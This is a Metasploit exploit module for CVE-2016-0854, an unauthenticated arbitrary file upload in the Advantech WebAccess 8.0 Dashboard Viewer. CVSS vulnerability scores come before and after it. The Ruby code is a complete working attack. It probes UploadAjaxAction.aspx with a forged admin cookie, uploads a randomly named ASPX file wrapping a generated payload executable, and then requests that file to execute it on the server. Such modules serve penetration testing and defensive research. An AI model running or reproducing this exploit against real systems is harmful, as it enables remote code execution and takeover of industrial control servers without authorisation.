CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability. The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to upload arbitrary code (instead of an image) to the server, which will then be executed under the high-privilege context of the IIS AppPool.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => "Advantech WebAccess Dashboard Viewer uploadImageCommon Arbitrary File Upload",
'Description' => %q{
This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0.
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
of Advantech WebAccess. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within
the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to
upload arbitrary code (instead of an image) to the server, which will then be executed under the
high-privilege context of the IIS AppPool.
},
'License' => MSF_LICENSE,
'Author' => [
'rgod', # Vulnerability discovery
'Zhou Yu <504137480[at]qq.com>', # MSF module
'sinn3r' # Explicit check && better support of 8.0 (2014 and 2015)
],
'References' => [
[ 'CVE', '2016-0854' ],
[ 'ZDI', '16-128' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-014-01']
],
'Platform' => 'win',
'Targets' => [
['Advantech WebAccess 8.0', {}]
],
'Privileged' => false,
'DisclosureDate' => '2016-02-05',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The base path of Advantech WebAccess 8.0', '/'])
])
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def vuln_version?
uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx')
data = Rex::MIME::Message.new
# If we can access the uploadImageCommon action name, that indicates the server is vulnerable
# to our attack. The "patched" version requires authentication, so we don't have access to
# the action name.
data.add_part('uploadImageCommon', nil, nil, 'form-data; name="actionName"')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => "waUserName=admin",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
res = res.get_json_document
res['resStatus'] && res['resStatus'] == '1'
end
def check
if vuln_version?
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def upload_file?(filename, file)
print_status("Uploading: #{filename}")
uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx')
data = Rex::MIME::Message.new
data.add_part('uploadImageCommon', nil, nil, 'form-data; name="actionName"')
data.add_part(file, nil, nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => "waUserName=admin",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
if res.get_json_document.empty?
false
else
# Only register when we know the upload was successful.
#
# When we get a session, we start at:
# c:\windows\system32\inetsrv
# But our malicious file is at C:\Inetpub\wwwroot\broadweb\WADashboard
register_file_for_cleanup("../../../Inetpub/wwwroot/broadweb/WADashboard/#{filename}")
true
end
end
def exec_file?(filename)
uri = normalize_uri(target_uri)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
uri = normalize_uri(target_uri, 'WADashboard', filename)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => res.get_cookies
)
res && res.code == 200
end
def exploit
unless vuln_version?
print_status('Target is not vulnerable.')
return
end
filename = "#{Rex::Text.rand_text_alpha(5)}.aspx"
filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe)
print_status("#{peer} - Uploading malicious file...")
return unless upload_file?(filename, filedata)
print_status("#{peer} - Executing #{filename}...")
return unless exec_file?(filename)
end
end
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H